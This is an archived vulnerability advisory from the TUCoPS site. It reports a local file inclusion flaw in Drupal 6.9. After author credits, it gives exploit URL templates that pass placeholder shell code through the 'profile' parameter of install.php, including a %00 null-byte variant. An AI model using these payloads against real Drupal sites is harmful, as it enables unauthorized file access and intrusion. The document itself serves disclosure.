Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: va2552.htm

Drupal CMS local file include vuln



LFI in Drupal CMS
LFI in Drupal CMS



Author : Rasool Nasr

-------------------------------------------

Discovered by : Rasool Nasr

-------------------------------------------

Exploited By : Rasool Nasr

-------------------------------------------

E-Mail : rasool.nasr@gmail.com 

-------------------------------------------

WebSite : http://ircrash.com 

-------------------------------------------

Our Team : ircrash

-------------------------------------------

IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr

-------------------------------------------

CMS: Drupal ( Version 6.9 )

Download CMS : http://ftp.drupal.org/files/projects/drupal-6.9.tar.gz 

-------------------------------------------

LFI

Exploit :

http://[sitename]/drupal/install.php?profile=[shell code] 


or


http://[sitename]/drupal/install.php?profile=[shell code]%00 
-------------------------------------------


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH